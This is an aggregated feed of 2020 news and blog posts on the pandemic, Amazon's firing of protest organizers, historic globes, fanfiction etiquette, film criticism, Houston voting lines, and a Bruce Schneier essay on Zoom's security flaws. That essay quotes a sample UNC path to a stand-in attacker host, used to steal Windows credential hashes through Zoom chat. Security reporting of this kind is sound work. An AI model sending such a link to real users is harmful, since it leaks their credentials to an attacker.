Shared posts

06 May 00:30

Amazon VP Quits Over the Company’s Shameful Decision to Fire Protest Organizers & Whistleblowers

by Vivian Kane

Amazon workers protest in the streets.

As the coronavirus pandemic continues to spread in the United States and people become even more dependent on delivery services, Amazon has managed to find new ways to treat its employees terribly—something it was already excelling at.

In recent weeks, multiple Amazon fulfillment centers across the country have seen outbreaks of COVID-19 and from a lack of hazard pay to substandard sanitization, workers say the company isn’t doing enough to protect them. Even worse, when employees protested, Amazon responded by firing organizers and whistleblowers and a leaked memo obtained by Vice shows higher-ups’ plans to smear and discredit at least one of them.

In an open letter posted to his website, Tim Bray, a now-former vice president at Amazon, writes, “At that point I snapped.” After lodging formal complaints and having the proper discussions, he knew that “remaining an Amazon VP would have meant, in effect, signing off on actions I despised. So I resigned.”

The victims weren’t abstract entities but real people; here are some of their names: Courtney Bowden, Gerald Bryson, Maren Costa, Emily Cunningham, Bashir Mohammed, and Chris Smalls.

I’m sure it’s a coincidence that every one of them is a person of color, a woman, or both. Right?

Since its original posting, Bray has deleted a “list of adjectives” describing the company’s treatment of those fired workers. He says that “voices I respect told me it was mean-spirited and I decided it didn’t add anything so I took it out.” (“Chickenshit” was one of those adjectives and I get Bray’s decision but also he wasn’t wrong.)

Bray also notes that the company’s actions during the coronavirus pandemic aren’t a divergence from its past behavior.

“Firing whistleblowers isn’t just a side-effect of macroeconomic forces, nor is it intrinsic to the function of free markets. It’s evidence of a vein of toxicity running through the company culture. I choose neither to serve nor drink that poison,” he writes.

At the end of the day, it’s all about power balances. The warehouse workers are weak and getting weaker, what with mass unemployment and (in the US) job-linked health insurance. So they’re gonna get treated like crap, because capitalism. Any plausible solution has to start with increasing their collective strength.

You can read Bray’s full letter here.

(via Vice, image: VALERIE MACON/AFP via Getty Images)

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05 May 00:17

Satisfy Your Wanderlust With Captivating Globes From the 17th and 18th Centuries

by Sarah Rose Sharp
Digitization of historical globes at the British Library (courtesy of © British Library Board)

Some may think of globes as navigational tools, but really, they are closer to time capsules. From the earliest nomadic cultures to the so-called Age of Exploration, and beyond, the ways in which humans have visualized and abstracted our world are ever-changing — and globes throughout the ages have transitioned from useful information to extraordinary documents of bygone worldviews. Now, as real-world travel is curtailed, the British Library has released an interactive archive of their collection of globes, to satisfy history buffs and frustrated wanderlust.

The archive presents 3D models of 11 globes — a subset of the library’s historic maps collection — that can be rotated and zoomed into for greater detail at every angle. This includes a stunning 1602 celestial globe by Dutch cartographer Willem Janszoon Blaeu, first produced in 1602. In addition to representing the constellations as their fantastic and mythological namesakes, it identifies a nova in the constellation of Cygnus which Blaeu had personally observed in 1600. It’s one of several celestial globes in the collection — some of which pair with terrestrial counterparts — and all of which are fascinating examples of globes that do not represent terra firma or spaces with fixed positions at all, and indeed capture only a brief moment in the relationship of celestial bodies.

In additional to fantastic creatures, the globes showcase examples of cartographic visualization between 1602–1783, and include charming archaic conceptions of the oceans — the “Atalantick Ocean” in the 1730 Richard Cushee terrestrial globe, or the “Ethipoic Ocean” in the 1783 terrestrial globe by G. Wright and W. Bardin.

“The globes are particularly enigmatic objects with fascinating insights into the history of science and society,” said Tom Harper, Lead Curator of Antiquarian Maps at the British Library, in the press release. “Yet for all their ‘show’ they can be remarkably elusive objects which are difficult to properly look at, study and understand. For the first time, this innovative project makes a number of our most important globes available beyond the British Library’s reading rooms and exhibition galleries, to a wider audience and in a more imaginative way than ever before.”

Digitization of historical globes (courtesy of © British Library Board)

For anyone wishing they could get out there and see the world, but responsibly homebound in accordance with public health concerns, this is a great opportunity from the British Library to take a fascinating piece of their collection for a spin!

01 May 21:38

Inventor makes device to escape from Zoom meetings

by Mark Frauenfelder

Marina Fujiwara created this useful little gadget to trick zoomers into thinking your Internet connection is buggy so you can leave a videochat whenever you feel like it.

01 May 21:36

What We Know About Whom COVID Kills

by Eleanor Cummins
COVID can come for anyone, but older adults, men, and black people have elevated risk of death.
29 Apr 21:50

Don't Skip Your Child's Well Check: Delays In Vaccines Could Add Up To Big Problems

by Maureen Pao
Doctors are urging parents to keep all their child

Telemedicine has its limits. And postponing shots could lead to a resurgence of diseases like measles. Doctors are taking steps to make their offices safe for kids who need to come in.

(Image credit: Karl Tapales/Getty Images)

29 Apr 21:47

Why all scientists must fight the "infodemic" of bullshit claims and quackery

by David Pescovitz
Bleach injections and tanning beds as treatments. The false link between 5G and COVID-19. This onslaught of bullshit claims and quackery around COVID-19 is an "infodemic," as the World Health Organization says. In the science journal Nature, University of Alberta law professor Timothy Caulfield, the Canada research chair in health law and policy, explains why "all scientists — not just a few of us — must stand up for quality information." From Nature:

There is some evidence that alternative treatments and placebo effects can relieve distress — a common justification for tolerating unproven alternative treatments. But it’s inappropriate to deceive people (even for their benefit) with magical thinking, and it is inappropriate for scientists to let such misinformation go unremarked.

Second, more researchers should become active participants in the public fight against misinformation. Those pushing unproven ideas use the language of real science — a phenomenon I call ‘scienceploitation’ — to legitimize their products. It is, alas, all too effective. Homeopathy and energy therapies, proponents argue, depend on quantum physics. Colonic hydrotherapy is justified using phrases borrowed from microbiome studies. And the language of stem-cell research is used to promote a spray claiming to have immune-boosting properties.

We need physicists, microbiologists, immunologists, gastroenterologists and all scientists from relevant disciplines to provide simple and shareable content explaining why this hijacking of real research is inaccurate and scientifically dishonest.

"Pseudoscience and COVID-19 — we’ve had enough already" (Nature)

29 Apr 21:47

Welcome to Your Sensory Revolution, Thanks to the Pandemic

by Mark M. Smith

The way we see, hear, taste, touch, and smell may never be the same again.

Courtesy of Covid-19, we are undergoing a sensory revolution. All of the senses have been affected by the coronavirus pandemic—not because the senses themselves have changed, but because the context and environment in which we sense has been profoundly altered.

Sensory historians like myself, who study the ways in which people in the past used their senses to understand and navigate their worlds, find that sensory shifts and perceptions tended to happen very slowly, measured in decades and centuries, not in mere weeks and months.

The shift that is happening now is unprecedented.

Sensory Hierarchy

The very idea that there are only five distinct senses took ages to mature, gaining credence in the Enlightenment. This period not only discounted erstwhile senses—such as the sense of “intuition”—but arranged the five senses into a distinctive hierarchy.

The Age of Reason empowered the eye as the sense of truth; seeing was believing, said most thinkers in the 1700s. Sight was followed by hearing, understood as more refined than the so-called lower or proximate senses. Those are smell, taste, and touch, senses that had once been held in high esteem in the ancient and medieval worlds, but which lost their currency and became more associated with the animal senses.

These changes took time. Seeing was believing by about 1800, but it had taken centuries for the original iteration of the phrase, “seeing is believing, but feeling’s the truth,” to lose its tactile component.

Sensing Changes

With the sensory hierarchy intact, the 19th century ushered in some profound and long-term changes in how people used and understood their senses.

Olfaction offers a good example. Western noses became more refined, more sensitive, and more alert to noxious smells. Rank and fetid smells gave way to a world that valued pleasant and deodorized smells. Washing and bathing became more popular, as did the use of perfumes and scents. Noses that could detect the difference were applauded. This olfactory evolution in smells and habits of smelling took about a century.

Now think of the sensory changes that have taken place in just a matter of months.

New Sights, Louder Sounds

Once-trusty eyes betray us in the face of an invisible enemy. Seeing is no longer believing. Those who appear perfectly healthy may be unknowing disease transmitters.

But if the cause of Covid-19 is invisible, its effects are emphatically not. Desolate city streets are new sights; the absence of airplane contrails strikes many as almost primordial; masks render once-familiar faces unrecognizable.

Soundscapes have changed, as have habits of listening. Coronavirus spreaders are sometimes described as “silent.” Many urban dwellers hear less traffic and formerly smothered sounds, such as birdsong, now can be heard.

The world is in some ways a much quieter place. Seismic sensors are picking up activity that used to be drowned out by the activity of cities. None of these sounds is new, but the effects of Covid-19 have reconfigured habits of listening and thresholds of hearing. Human voices are louder because there are no whispers at six feet.

The sense of smell has been hit hard. To breathe, after all, is to smell—if you can. Anosmia—the loss of the sense of smell—is an early sign of infection.

Even if we keep our sense of smell, we now pause before inhaling, lest we breathe in an enemy we cannot see.

Taste is no longer as easily sated, and palates are rearranged. Restaurants still cater, but in takeout fashion and with less variety. Hot food once served in the restaurant is colder and less palatable after it’s transported to the more distant dining room table. Clammy hamburgers on soggy buns served with limp french fries, anyone? Grocery stores now ration once taken-for-granted staples, notably eggs, milk, and meat.

Touch is the obvious sensory casualty in all of this. Centuries of handshaking habits have evaporated; high fives are gone. Outside of families, hugs, kisses, and nuzzles have all been lost with the fear of infection.

No Guide

In sensory terms, there has been nothing like this.

Even the violence done to the senses by wars, hurricanes, tornadoes, and earthquakes is modest in scale and scope compared to this sensory revolution.

Possible legacies, short-term or long, are hard to fathom. Beyond the deaths, the long-term effects of this pandemic will likely be in words and culture, not eternal lockdowns. Sensory and rhetorical turns of phrases will change. The results will not be even. Thanks to virtual communication, “See ya” and “I hear ya” should remain stable, but “staying in touch” and “getting a grip” could go the way of the sensory dinosaur.

But if normalcy eludes us?

A whole new world of sensory engagement will emerge, and it could be terrifying. Our soundscape could be civil strife, punctuated with the smell of tear gas and the resounding sting of rubber bullets on flesh.

There is no sensory past that can guide us here. It is a genuine revolution of the senses. And it stinks.

This article is republished from The Conversation under a Creative Commons license. Read the original article.

Image Credit: jhenning from Pixabay

29 Apr 21:46

Supreme Court Says State Laws Aren’t Copyrightable

by Josephine Wolff
The ruling is a stark reminder of how many public records live behind revenue-generating paywalls.
24 Apr 02:23

Oil Gains on Slower Production in Wake of Demand Drop

Futures gained 20 percent in New York on Thursday.
24 Apr 02:22

N.K. Jemisin Reminds Us of the First Rule of Fanfiction

by Kaila Hale-Stern

N.K. Jemisin on fanfiction etiquette

No, the first rule of fanfiction is not “we don’t talk about fanfiction.” Many writers happily discuss reading and writing fic—as evidenced by N.K. Jemisin, the three-time Hugo Award-winning novelist, describing how she still writes and reads it herself. The first rule of fanfiction is “you do not try and get the original creator to read your fanfiction.” How quickly we forget our Internet history.

That Jemisin needs to explain this essential “rule” demonstrates how much the landscape of fan-created works has changed. In many ways, it’s for the better. Twenty years ago, when I was a young writer just starting to dip my toes into the world of fic, misunderstanding of fanfiction online was rampant. Transformative work creators and archives were sometimes threatened with legal action by studios and authors, and a general culture of fear and “please don’t sue us” pervaded communities.

It was standard to include disclaimers on stories, attesting to the fact that you did not own the world and the characters, that no profit was being made, and even adding that overt plea not to be sued. These days, with a wider acceptance of transformative works—and many studios and authors even encouraging their production, understanding that a devoted fandom and fanworks can make for good PR—such disclaimers and fears have faded. And thanks to the work of pioneering transformative work advocates like those behind the Organization for Transformative Works, which powers Archive of Our Own, fans have more stable spaces and legal protection themselves.

As a result of our more mainstream embracing of fanfiction, however, it appears that many new fans have not gotten the memo that your favorite author or screenwriter cannot read your story set in their world. The instinct to want them to do so is understandable. I’ve been there myself many a time, especially when I was a teenager. You’re enamored of someone else’s world, and you want to show them just how much you adore and understand it. The problem is that legally, these creators are barred from reading your stuff. The burden of legal risk is now shifted their direction.

On Twitter, Jemisin’s excellent thread outlines this principle for fans—several of whom are sending fanworks inspired by her worlds directly to her. This isn’t the first time that Jemisin has made mention of the topic. But there are always newly-minted fans—or stubborn ones—who need to hear the message reiterated.

When it’s her own work being transformed, it doesn’t matter what form it takes. She still can’t take a look at it.

In explaining how these things are, Jemisin is not discouraging fans from making their own fanworks centered around her creations. She just cannot be personally involved, and it’s a serious breach of fandom etiquette to ask.

She also taps into a very current Mood of exhaustion from older members of fandom who find ourselves in an altered Internet sandbox than the ones we used to know.

Back in the nascent online fandom days, we couldn’t have conceived of social media and its ability to bring us into such close proximity with our favorite creators. You could not, say, put your fanart on Twitter and hope to see it retweeted by the directors of Avengers: Endgame. While some of this accessibility is great, I think it has also emboldened a generation of Internet denizens to the idea that these creators are available to them 24/7, and that they have the responsibility or inclination to engage with fanworks. As Jemisin lays out, even if the original creators were so inclined, legally they really cannot engage in this fashion. We need to stop putting them in such an awkward position and remember that social contract.

An element I adored about Jemisin’s thread is that she also takes the time to explain why she still creates and consumes fanworks in other fandoms herself. This may be one of the most illuminating ways I’ve seen to impart the joys of fic to those who may have never partaken.

Fandom friends and enemies-to-lovers, let’s be glad that we live in a world where fanfiction is now almost universally embraced as a concept by creators, and wonderful projects like Archive of Our Own can win a Hugo. Please do not try and make the original creator read your work. Our sandboxes exist for a reason, even if they have changed shape over the years.

(via N.K. Jemisin on Twitter, image: Pexels/Twitter)

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23 Apr 00:23

First US Coronavirus Deaths Took Place Weeks Before Initially Thought

by BeauHD
The first American to die of COVID-19 took place in early and mid-February, according autopsies at the Santa Clara Medical Examiner-Coroner. "Until the new revelations, the first COVID-19 death had been identified as a man in his 50s in Washington state who died Feb. 29," reports The Hill. From the report: The two people died at home on Feb. 6 and Feb. 17, making them the earliest-known victims of the coronavirus in the United States, the Santa Clara County public health department confirmed in a statement on Tuesday. The county health department said both individuals "died at home during a time when very limited testing was available only through the CDC." "Testing criteria set by the CDC at the time restricted testing to only individuals with a known travel history and who sought medical care for specific symptoms," it added. "As the Medical Examiner-Coroner continues to carefully investigate deaths throughout the county, we anticipate additional deaths from COVID-19 will be identified." Santa Clara County officials did not identify either of the two individuals who died, whether they had traveled to Wuhan or elsewhere, or whether they had contact with the few people who had been diagnosed with the disease before they died. But reclassifying their deaths as related to the coronavirus suggests the virus had been spreading through the United States for much longer than was initially thought -- potentially for weeks or even months longer.

Read more of this story at Slashdot.

23 Apr 00:22

Shut in sounds: Gary Numan's basement sessions from 2014

by Gareth Branwyn

Speaking of Gary Numan, I just discovered these basement session videos from 2014 on the YouTubes. I especially like this version of "Are Friends Electric?"

There only seems to be three performances available. I assume there are more.

Image: YouTube

13 Apr 17:59

Return to 2003 with two decades' worth of Homestar Runner songs, background music, and jingles

by Reid McCarter on News, shared by Reid McCarter to The A.V. Club

If, for no particular reason, you feel a strong urge to pretend for a couple of hours that it’s still the early ‘00s, there may be no quicker brain-rewiring tool than spending some time with the music of Homestar Runner. The web cartoon that gave us Trogdor, Teen Girl Squad, and Strong Bad, the gravely-voiced luchador…

Read more...

09 Apr 18:20

The New York Times Is Great, but Who’ll Cover Your Community?

by Mia Armstrong
COVID-19 threatens to decimate local news organizations. Is there a way forward?
03 Apr 18:50

Google Reveals Location Data to Help the Coronavirus Response

by Klint Finley
The search giant is disclosing trends in visits to broad categories of places, as a tool for public health officials.
03 Apr 18:44

Revisiting the DCEU: Wonder Woman & the Burden of the Female Superhero

by Princess Weekes

Gal Gadot as Wonder Woman

The Wonder Woman movie had to carry a lot on its shoulders. At the time of its release in 2017, it was the first female-led superhero film in decades, and considering DC movies’ track record at the time, it’s no surprise that people were concerned. What ended up happing was that the film—directed by Patty Jenkins, written by Allan Heinberg, and starring Gal Gadot as Diana Prince/Wonder Woman—became not just the most critically acclaimed female-led superhero movie of all time, but the first from the DCEU to be a critical and commercial darling, and so far, the first to be getting a real direct sequel (eventually).

For me, Wonder Woman, as a character, is iconic because of her place in comic book history, but is also so very inconsistent. A lot of characters change over time, but of the big three of DC, Diana’s origin has changed several times, from being literally born of clay, to being a child of rape, to being the daughter of Zeus or Hercules, all depending on who’s writing her. As a result, we sometimes get the Diana who once snapped Maxwell Lord’s neck without a worry, and we sometimes get a champion of love.

All of this is why it’s so hard for me to connect, on a pure character level, with the Wonder Woman movie. It feels very safe in all of its choices—which I understand, considering its place in the world, but which is also somewhat disappointing.

I understand that for a lot of people, especially women, this movie made them feel seen and strong. I don’t want to take that away from anyone, and I don’t think addressing some of the issues of the film means you’re doing that. The unfortunate reality is that Wonder Woman had the pressure of being a movie for every woman when no one film has that burden for every dude. Yet, when you think about that aspect of Wonder Woman, you sort of realize that without the Amazon part in the first 20 minutes, the film would hardly pass the Bechdel Test.

You realize that literally almost every man comments on how beautiful Diana is, but her foils are Doctor Poison, a woman with facial differences, and Etta Candy, who also comments on how she’s the most beautiful woman ever, and is relegated to a supportive, comedic role. Etta and Diana’s interaction is just them shopping together because, to quote The Bechdel Cast, “women be shopping.”

I also think it’s very interesting that Zeus gets credit in the movie for creating humans and the Amazons, giving them the island of Themyscira, and being Diana’s father (bleh), when in the comics, post-Crisis, the Amazons were created by Artemis, Athena, Demeter, Hestia, and Aphrodite. The female goddess gave them their island and Diana was born of clay from their power (plus gay icon Hermes), and so many other things that have nothing really to do with men.

Also, in the film, the fact that the island is filled with women but homosexuality is never spoken of out loud feels like a mistake, especially since Diana is canonically bisexual.

Wonder Woman is a triumph, but sometimes it feels that way because we have been given so little—not because the film is particularly exceptional. The fight scenes still get me pumped, and I think this third re-watch was the first time I really enjoyed this film. I just wish it did more with the amazing source material they have to mine from when it comes to Diana. I wish it had been more inclusive of different women, they way it was of different men.

With television in the ’90s and 2000s filled with exceptional women, mostly white and straight and gorgeous, I think I needed my Wonder Woman to just be a little bit more than just that. I have Xena. I have Buffy. I have scores of women in pop culture who filled that role. I’m glad Wonder Woman exists, and I also accept that a lot of what I wished it had been doesn’t mean the movie is “bad” as it is. It just isn’t for me.

(image: Warner Bros.)

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03 Apr 18:43

Security and Privacy Implications of Zoom

by Bruce Schneier

Over the past few weeks, Zoom's use has exploded since it became the video conferencing platform of choice in today's COVID-19 world. (My own university, Harvard, uses it for all of its classes. Boris Johnson had a cabinet meeting over Zoom.) Over that same period, the company has been exposed for having both lousy privacy and lousy security. My goal here is to summarize all of the problems and talk about solutions and workarounds.

In general, Zoom's problems fall into three broad buckets: (1) bad privacy practices, (2) bad security practices, and (3) bad user configurations.

Privacy first: Zoom spies on its users for personal profit. It seems to have cleaned this up somewhat since everyone started paying attention, but it still does it.

The company collects a laundry list of data about you, including user name, physical address, email address, phone number, job information, Facebook profile information, computer or phone specs, IP address, and any other information you create or upload. And it uses all of this surveillance data for profit, against your interests.

Last month, Zoom's privacy policy contained this bit:

Does Zoom sell Personal Data? Depends what you mean by "sell." We do not allow marketing companies, or anyone else to access Personal Data in exchange for payment. Except as described above, we do not allow any third parties to access any Personal Data we collect in the course of providing services to users. We do not allow third parties to use any Personal Data obtained from us for their own purposes, unless it is with your consent (e.g. when you download an app from the Marketplace. So in our humble opinion, we don't think most of our users would see us as selling their information, as that practice is commonly understood.

"Depends what you mean by 'sell.'" "...most of our users would see us as selling..." "...as that practice is commonly understood." That paragraph was carefully worded by lawyers to permit them to do pretty much whatever they want with your information while pretending otherwise. Do any of you who "download[ed] an app from the Marketplace" remember consenting to them giving your personal data to third parties? I don't.

Doc Searls has been all over this, writing about the surprisingly large number of third-party trackers on the Zoom website and its poor privacy practices in general.

On March 29th, Zoom rewrote its privacy policy:

We do not sell your personal data. Whether you are a business or a school or an individual user, we do not sell your data.

[...]

We do not use data we obtain from your use of our services, including your meetings, for any advertising. We do use data we obtain from you when you visit our marketing websites, such as zoom.us and zoom.com. You have control over your own cookie settings when visiting our marketing websites.

There's lots more. It's better than it was, but Zoom still collects a huge amount of data about you. And note that it considers its home pages "marketing websites," which means it's still using third-party trackers and surveillance based advertising. (Honestly, Zoom, just stop doing it.)

Now security: Zoom's security is at best sloppy, and malicious at worst. Motherboard reported that Zoom's iPhone app was sending user data to Facebook, even if the user didn't have a Facebook account. Zoom removed the feature, but its response should worry you about its sloppy coding practices in general:

"We originally implemented the 'Login with Facebook' feature using the Facebook SDK in order to provide our users with another convenient way to access our platform. However, we were recently made aware that the Facebook SDK was collecting unnecessary device data," Zoom told Motherboard in a statement on Friday.

This isn't the first time Zoom was sloppy with security. Last year, a researcher discovered that a vulnerability in the Mac Zoom client allowed any malicious website to enable the camera without permission. This seemed like a deliberate design choice: that Zoom designed its service to bypass browser security settings and remotely enable a user's web camera without the user's knowledge or consent. (EPIC filed an FTC complaint over this.) Zoom patched this vulnerability last year.

On 4/1, we learned that Zoom for Windows can be used to steal users' Window credentials.

Attacks work by using the Zoom chat window to send targets a string of text that represents the network location on the Windows device they're using. The Zoom app for Windows automatically converts these so-called universal naming convention strings -- such as \\attacker.example.com/C$ -- into clickable links. In the event that targets click on those links on networks that aren't fully locked down, Zoom will send the Windows usernames and the corresponding NTLM hashes to the address contained in the link.

On 4/2, we learned that Zoom secretly displayed data from people's LinkedIn profiles, which allowed some meeting participants to snoop on each other. (Zoom has fixed this one.)

I'm sure lots more of these bad security decisions, sloppy coding mistakes, and random software vulnerabilities are coming.

But it gets worse. Zoom's encryption is awful. First, the company claims that it offers end-to-end encryption, but it doesn't. It only provides link encryption, which means everything is unencrypted on the company's servers. From the Intercept:

In Zoom's white paper, there is a list of "pre-meeting security capabilities" that are available to the meeting host that starts with "Enable an end-to-end (E2E) encrypted meeting." Later in the white paper, it lists "Secure a meeting with E2E encryption" as an "in-meeting security capability" that's available to meeting hosts. When a host starts a meeting with the "Require Encryption for 3rd Party Endpoints" setting enabled, participants see a green padlock that says, "Zoom is using an end to end encrypted connection" when they mouse over it.

But when reached for comment about whether video meetings are actually end-to-end encrypted, a Zoom spokesperson wrote, "Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection."

They're also lying about the type of encryption. On 4/3, Citizen Lab reported

Zoom documentation claims that the app uses "AES-256" encryption for meetings where possible. However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video. The use of ECB mode is not recommended because patterns present in the plaintext are preserved during encryption.

The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber's company, are outside of China.

I'm okay with AES-128, but using ECB (electronic codebook) mode indicates that there is no one at the company who knows anything about cryptography.

And that China connection is worrisome. Citizen Lab again:

Zoom, a Silicon Valley-based company, appears to own three companies in China through which at least 700 employees are paid to develop Zoom's software. This arrangement is ostensibly an effort at labor arbitrage: Zoom can avoid paying US wages while selling to US customers, thus increasing their profit margin. However, this arrangement may make Zoom responsive to pressure from Chinese authorities.

Or from Chinese programmers slipping backdoors into the code at the request of the government.

Finally, bad user configuration. Zoom has a lot of options. The defaults aren't great, and if you don't configure your meetings right you're leaving yourself open to all sort of mischief.

"Zoombombing" is the most visible problem. People are finding open Zoom meetings, classes, and events: joining them, and sharing their screens to broadcast offensive content -- porn, mostly -- to everyone. It's awful if you're the victim, and a consequence of allowing any participant to share their screen.

Even without screen sharing, people are logging in to random Zoom meetings and disrupting them. Turns out that Zoom didn't make the meeting ID long enough to prevent someone from randomly trying them, looking for meetings. This isn't new; Checkpoint Research reported this last summer. Instead of making the meeting IDs longer or more complicated -- which it should have done -- it enabled meeting passwords by default. Of course most of us don't use passwords, and there are now automatic tools for finding Zoom meetings.

For help securing your Zoom sessions, Zoom has a good guide. Short summary: don't share the meeting ID more than you have to, use a password in addition to a meeting ID, use the waiting room if you can, and pay attention to who has what permissions.

That's what we know about Zoom's privacy and security so far. Expect more revelations in the weeks and months to come. The New York Attorney General is investigating the company. Security researchers are combing through the software, looking for other things Zoom is doing and not telling anyone about. There are more stories waiting to be discovered.

Zoom is a security and privacy disaster, but until now had managed to avoid public accountability because it was relatively obscure. Now that it's in the spotlight, it's all coming out. (Their 4/1 response to all of this is here.) On 4/2, the company said it would freeze all feature development and focus on security and privacy. Let's see if that's anything more than a PR move.

In the meantime, you should either lock Zoom down as best you can, or -- better yet -- abandon the platform altogether. Jitsi is a distributed, free, and open-source alternative. Start your meeting here.

EDITED TO ADD: Fight for the Future is on this.

Steve Bellovin's comments.

Meanwhile, lots of Zoom video recordings are available on the Internet. The article doesn't have any useful details about how they got there:

Videos viewed by The Post included one-on-one therapy sessions; a training orientation for workers doing telehealth calls, which included people's names and phone numbers; small-business meetings, which included private company financial statements; and elementary-school classes, in which children's faces, voices and personal details were exposed.

Many of the videos include personally identifiable information and deeply intimate conversations, recorded in people's homes. Other videos include nudity, such as one in which an aesthetician teaches students how to give a Brazilian wax.

[...]

Many of the videos can be found on unprotected chunks of Amazon storage space, known as buckets, which are widely used across the Web. Amazon buckets are locked down by default, but many users make the storage space publicly accessible either inadvertently or to share files with other people.

EDITED TO ADD (4/4): New York City has banned Zoom from its schools.

03 Apr 18:42

Pandemics: Do we need an app for that?

by John Timmer
Pandemics: Do we need an app for that?

Enlarge (credit: Purism)

Right now, with huge numbers of infected individuals and a limited testing capacity, the US has no way of knowing who's at risk for a SARS-CoV-2 infection. The ultimate goal of socially isolating, however, is to reduce the levels of infection so that we can do what's called contact tracing: figuring out everyone an infected individual has been in contact with and isolating and testing them. If implemented effectively, this will catch newly infected people before they become contagious, keeping the virus from spreading.

That process, however, relies on contact tracing being efficient and accurate enough to identify anyone at risk before they move on and infect multiple new people. A new study by a group of Oxford researchers suggests that SARS-CoV-2 is simply too infectious for this to work well. The team isn't without a solution, though: a smartphone app that caches contact information and alerts all contacts as soon as a positive test result happens.

Without a trace

Contact tracing is, in principle, really simple. Once an infected individual is identified, they're interviewed to ask where they've come into contact with other people for a while. In reality, it's a nightmare. People's memories are faulty, and it can be difficult to reconstruct everywhere they've been. And it's one thing if they know they visited a few friends or family members; it's something else if they rode a bus or stopped by a large store. Identifying who was even in the same place at that time can take days if not weeks.

Read 12 remaining paragraphs | Comments

03 Apr 18:41

So Wait, How Encrypted Are Zoom Meetings Really?

by Lily Hay Newman
The service's mixed messages have frustrated cryptographers, as the US government and other sensitive organizations increasingly depend on it.
03 Apr 18:41

The Biggest Coronavirus Myths, Busted

by Matt Simon
No, drinking water won’t flush the virus out of your mouth. Here’s how to inoculate yourself against bad Covid-19 information.
05 Mar 21:21

Updating Joseph Campbell’s “Hero’s Journey” to Cover Female Action Heroes–Pretty Much Pop: A Culture Podcast #33

by Mark Linsenmayer

This week's guest Vi Burlew has arisen, a shining figure clad in mail, carrying aloft a shimmering broadsword to bring your hosts Mark Linsenmayer, Erica Spyres, and Brian Hirt this topic about the hero's journey.

This general plot structure dating back to ancient myth was detailed by Joseph Campbell and famously and deliberately plundered to create the plot of the original Star Wars. So how has this evolved with the increasing introduction of female heroes in recent, largely Disney-owned blockbusters? We talk Wonder Woman and Captain Marvel, anticipate Black Widow and the new Mulan, but also bring in Lord of the Rings, Harry Potter, The Wizard of Oz, Little Women, Jane Eyre, Working Girl, and of course Road House.

What complicates this issue is that a distinct "heroine's journey" had already been plotted in response to Campbell by feminist thinkers at least back to Maureen Murdock in 1990. The key difference is that while the hero achieves the goal and comes home in triumph, the heroine then realizes that there was something self-betraying about the triumph and requires an additional step of reconciliation with her origins. This is like if Luke realized after destroying the Death Star that he was a moisture farmer all along and had to come to terms with that. (Maybe he could actually grieve for his dead aunt and uncle and his best friend Biggs!)

It's been argued that Harry Potter's journey more closely resembles that heroine's journey, whereas, say, Eowyn from Lord of the Rings ("I am no man!") is a more traditional hero. Action films of today may feature female heroes, but when this is done thoughtfully (not just by taking an action hero and swapping the gender without further alteration), then filmmakers may tweak the structure of the myth to include some gender-specific elements and perhaps blend the two types of journey. These new variants that may or may not resonate in the way that caused the original Star Wars/Campbell formula to become so popular.

Two articles we specifically cite in our discussion are:

For some basics about the journeys described by Joseph Campbell, Maureen Murdok, and a different version by Victoria Lynn Schmidt, see the Wikipedia entries on Hero's Journey and Heroine's Journey.

In addition, The Heroine Journeys Project website features numerous articles about female heroes in media. We also looked at this reddit thread, which among other things provides some opposing views to those of our guests about the Star Wars franchise character Rey.

This episode includes bonus discussion that you can only hear by supporting the podcast at patreon.com/prettymuchpop. This podcast is part of the Partially Examined Life podcast network.

Pretty Much Pop: A Culture Podcast is the first podcast curated by Open Culture. Browse all Pretty Much Pop posts or start with the first episode.

Updating Joseph Campbell’s “Hero’s Journey” to Cover Female Action Heroes–Pretty Much Pop: A Culture Podcast #33 is a post from: Open Culture. Follow us on Facebook, Twitter, and Google Plus, or get our Daily Email. And don't miss our big collections of Free Online Courses, Free Online Movies, Free eBooksFree Audio Books, Free Foreign Language Lessons, and MOOCs.

05 Mar 21:20

We need to talk about those lines

by Charles Kuffner

I wish we could talk about something else, but we have to do this.

Hervis Rogers, the hero we don’t deserve

Dozens of Democratic voters were still waiting to cast ballots at midnight in Houston, turning Super Tuesday into a painful slog for some citizens amid questions about how the County Clerk’s office had allocated its voting machines across the county.

Janet Gonzalez left work early and at 5:30 p.m. checked a website the clerk’s office runs to show wait times at polling places. It seemed Texas Southern University had a short wait, but when she arrived she found a massive line. She waited an hour outside and three more inside before she finally cast her ballot.

Officials with the clerk’s office acknowledged the accuracy of the wait-times website is reliant on election workers manually updating the status of their polling places.

Some people in line gave up and walked away, Gonzalez said. Others briefly sought refuge on a scattering of chairs before giving them up to others as the line inched forward.

[…]

Democratic County Clerk Diane Trautman and her staff said each of the county’s 401 polling places started with between 16 and 48 machines, depending on anticipated turnout, but at each location the machines were divided equally between the Democrat and Republican primaries, regardless of whether the location heavily favored one party or the other.

“If we had given one five and one 10, and that other one had a line, they would say, ‘You slighted us,’” Trautman said late Tuesday. “So we wanted to be fair and equal and start at the same amount. Through the day, we have been sending out additional machines to the Democratic judges to the extent that we ran out.”

During Election Day the clerk’s office dispatched 68 extra voting machines to Democratic polls, including 14 to TSU, in response to election judges’ requests. Trautman added that some of the machines assigned to TSU to start the day had to be replaced after malfunctioning.

Trautman said a joint primary — which would have allowed both parties’ ballots to be loaded on each voting machine, rather than separating the equipment by party — would have reduced the lines, but the GOP rejected the idea.

[…]

County Democratic Party chair Lillie Schechter said her staff did not grasp until Tuesday that when Trautman spoke of allocating the machines “equitably” she meant dividing them equally at each polling site, rather than giving each party the same number of machines but concentrating most of them in areas known to be strongholds of each party.

“We’re thrilled that turnout has been so high today and that’s been super exciting, but I think the story with the voting machines goes a step farther back than just how the voting machines are allocated,” she said. “The machines are part of the problem but not the whole problem.”

In order to preserve citizens’ ability to vote at any polling place on Election Day – a new policy under Trautman, and one GOP officials have opposed – Schechter said the parties needed to agree on shared polling locations. That gave Republicans more power in the negotiation, she said, and resulted in more than 60 percent of Tuesday’s polling sites being located in Republican-held county commissioner precincts, with less than 40 percent in commissioner precincts held by Democrats.

